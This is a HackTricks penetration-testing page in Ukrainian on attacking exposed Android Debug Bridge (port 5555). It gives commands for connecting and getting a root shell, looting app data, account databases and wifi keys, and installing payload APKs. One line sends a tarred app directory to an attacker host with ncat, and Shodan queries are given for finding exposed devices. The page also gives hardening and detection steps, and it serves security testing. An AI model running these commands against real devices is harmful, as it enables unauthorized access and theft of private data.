5555 - Android Debug Bridge
Reading time: 7 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
З документації:
Android Debug Bridge (adb) — це інструмент командного рядка для зв'язку з пристроями на базі Android та емуляторами. Типові дії включають встановлення пакетів, налагодження та отримання інтерактивної оболонки Unix на пристрої.
- Історичний стандартний TCP порт: 5555 (класичний режим "adb tcpip").
- Сучасне бездротове налагодження (Android 11+) використовує TLS-парування та виявлення сервісів mDNS. Порт підключення є динамічним і виявляється через mDNS; він може бути не 5555. Парування виконується за допомогою adb pair host:port, після чого слідує adb connect. Дивіться примітки нижче для наступних наслідків.
Приклад відбитка nmap:
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
Connect
Якщо ви виявите, що ADB відкритий і доступний, спробуйте швидко підключитися та перерахувати:
adb connect <ip>[:<port>] # Default is 5555 for classic mode
adb devices -l # Confirm it shows as "device" (not unauthorized/offline)
adb shell # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
- Якщо пристрій вимагає аутентифікацію ADB (ro.adb.secure=1), вам потрібно буде бути попередньо авторизованим (USB RSA auth) або використовувати бездротову налагодження Android 11+ (що вимагає одноразового коду, який відображається на пристрої).
- Деякі образи постачальників, інженерні/користувацькі збірки, емулятори, телевізори, STB та розробницькі набори відкривають adbd без аутентифікації або з adbd, що працює як root. У таких випадках ви зазвичай потрапляєте безпосередньо в оболонку або оболонку root.
Для загальної довідки по командам ADB, дивіться:
Швидке пост-експлуатаційне тестування
Якщо у вас є оболонка, перевірте привілеї та контекст SELinux:
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
Перерахунок та захоплення даних
- Список сторонніх додатків та шляхів:
pm list packages -3
pm path <pkg>
- Якщо у вас є root (adb root або su працює), ви можете отримати доступ до /data безпосередньо. Якщо ні, віддайте перевагу run-as для додатків, що підлягають налагодженню:
# Без root, для додатку, що підлягає налагодженню
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
# З root
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
- Корисні системні артефакти (потрібен root):
- /data/system/users/0/accounts.db та пов'язані дані AccountManager
- /data/misc/wifi/ (мережеві конфігурації/ключі на старіших версіях)
- Специфічні для додатка SQLite БД та shared_prefs під /data/data/
Ви можете використовувати це для отримання чутливої інформації (наприклад, секретів додатка). Для приміток про розгляд даних Chrome дивіться питання, згадане тут.
Виконання коду та доставка корисного навантаження
- Встановіть та автоматично надайте дозволи на виконання:
adb install -r -g payload.apk # -g надає всі дозволи на виконання, оголошені в маніфесті
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
- Запускайте активності/сервіси/трансляції безпосередньо:
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>
Переадресація портів та піводи
Навіть без root, adb може переадресовувати локальні порти на порти пристрою і навпаки. Це корисно для доступу до сервісів, прив'язаних локально на пристрої, або для відкриття сервісів атакуючого для пристрою.
- Переадресація host->device (доступ до локального сервісу пристрою з вашого хоста):
adb forward tcp:2222 tcp:22 # Якщо пристрій запускає SSH (наприклад, Termux/Dropbear)
adb forward tcp:8081 tcp:8080 # Відкриття локального сервера налагодження додатку
- Зворотна переадресація device->host (дозволити пристрою досягати сервісу на вашому хості):
adb reverse tcp:1080 tcp:1080 # Додатки пристрою тепер можуть досягати host:1080 як 127.0.0.1:1080
- Екстракція файлів через сокети (без записів на sdcard):
# На хості: слухати
ncat -lvp 9000 > dump.tar
# На пристрої: надіслати каталог як tar (root або run-as за потреби)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
Бездротове налагодження (Android 11+)
Сучасний Android реалізує захищене TLS бездротове налагодження з паруванням на стороні пристрою та виявленням mDNS:
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port> # Enter the 6-digit code shown on device
adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>
Notes
- Порти динамічні; не припускайте 5555. Імена служб mDNS виглядають так:
- _adb-tls-pairing._tcp (параметр)
- _adb-tls-connect._tcp (підключення з парою)
- _adb._tcp (старий/прямий)
- Якщо mDNS фільтрується, класичне USB-підтримуване увімкнення може все ще працювати на деяких збірках:
adb tcpip 5555
, а потімadb connect <ip>:5555
(до перезавантаження).
Офensive implications: якщо ви можете взаємодіяти з інтерфейсом пристрою (наприклад, фізичний доступ або неправильна конфігурація мобільного MDM), щоб увімкнути бездротове налагодження та переглянути код пари, ви можете встановити довготривалий підключений ADB-канал без кабелю. Деякі OEM надають ADB через TCP в інженерних/розробницьких образах без пари — завжди перевіряйте.
Hardening / Detection
Захисники повинні вважати, що будь-який досяжний adbd (TCP) є критичним ризиком.
- Вимкніть ADB та бездротове налагодження, коли це не потрібно. Відкличте авторизації USB-налагодження в параметрах розробника.
- Переконайтеся, що мережна політика блокує вхідний TCP/5555 та виявлення ADB на основі mDNS на ненадійних сегментах.
- На пристроях під вашим контролем:
settings put global adb_enabled 0
setprop service.adb.tcp.port -1 # вимкнути прослуховування TCP (або використовуйте: adb usb)
stop adbd; start adbd # перезапустити демон
- Моніторте записи mDNS
_adb._tcp
,_adb-tls-connect._tcp
,_adb-tls-pairing._tcp
на корпоративних мережах та сповіщення про несподівані прослуховувачі 5555. - Інвентаризація для небезпечних збірок:
getprop ro.debuggable
,ro.build.type
, таro.adb.secure
.
Shodan
- android debug bridge
- port:5555 product:"Android Debug Bridge"
References
- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
- AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.